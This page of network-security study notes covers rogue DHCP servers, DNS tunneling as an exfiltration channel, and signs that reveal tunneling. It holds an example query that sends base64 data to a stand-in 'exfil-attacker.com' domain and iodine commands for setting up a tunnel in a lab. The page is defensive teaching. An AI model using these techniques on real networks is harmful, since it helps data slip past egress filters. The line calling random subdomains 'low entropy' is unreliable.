

DHCP Abuses & DNS Tunneling

Rogue DHCP (reprise, deepened)

Attacker runs a DHCP server → controls IP/gateway/DNS handed to clients

Including option 12 (hostname), option 15 (domain), option 150 (TFTP)

– real-world exploits target these for config poisoning (e.g., DHCP "faked TFTP PXE" attacks)

Client blindly trusts the offer – the point of attack

DNS tunneling as exfil

DNS queries usually can't be blocked entirely. Encoding data in subdomain labels lets data out even with egress filters:

```
# conceptual: hobbyists use dnscat2 / iodine
# query: <base64-of-chunk>.exfil-attacker.com
# attacker's authoritative server decodes chunks -> reassembles
```

Rate: ~1-8KB/s (enough for tiny leaks / C2 command streams)

Modes: TXT/RDATA payloads (RDATA tunneling), subdomain label, over UDP+TCP

Detection of DNS tunneling

Unusually high query count to ONE domain

Random-looking subdomain strings (low entropy, base58/base64 alphabet)

High DNS bytes/query variance; long labels; TXT records from strange names

Compare to baselines (Queries/day is stable for normal users)

Practical (lab only)

```
# set up iodine server on Kali + tunnel test to prove the model:  
sudo apt install iodine  
iodined -f -c -P secret 10.0.0.10 t1.yourowndomain  
# client: iodine -P secret t1.yourowndomain  
# now a route appears: 10.0.0.10 as your DNS->tunnel gateway
```

Takeaway for defenders: WiFi-layer changes are only part of it. GET the DNS logs. A tunnel in DNS = a door someone built, and the alert is right there in the query volume.

[← Session & Token Hijacking](#)

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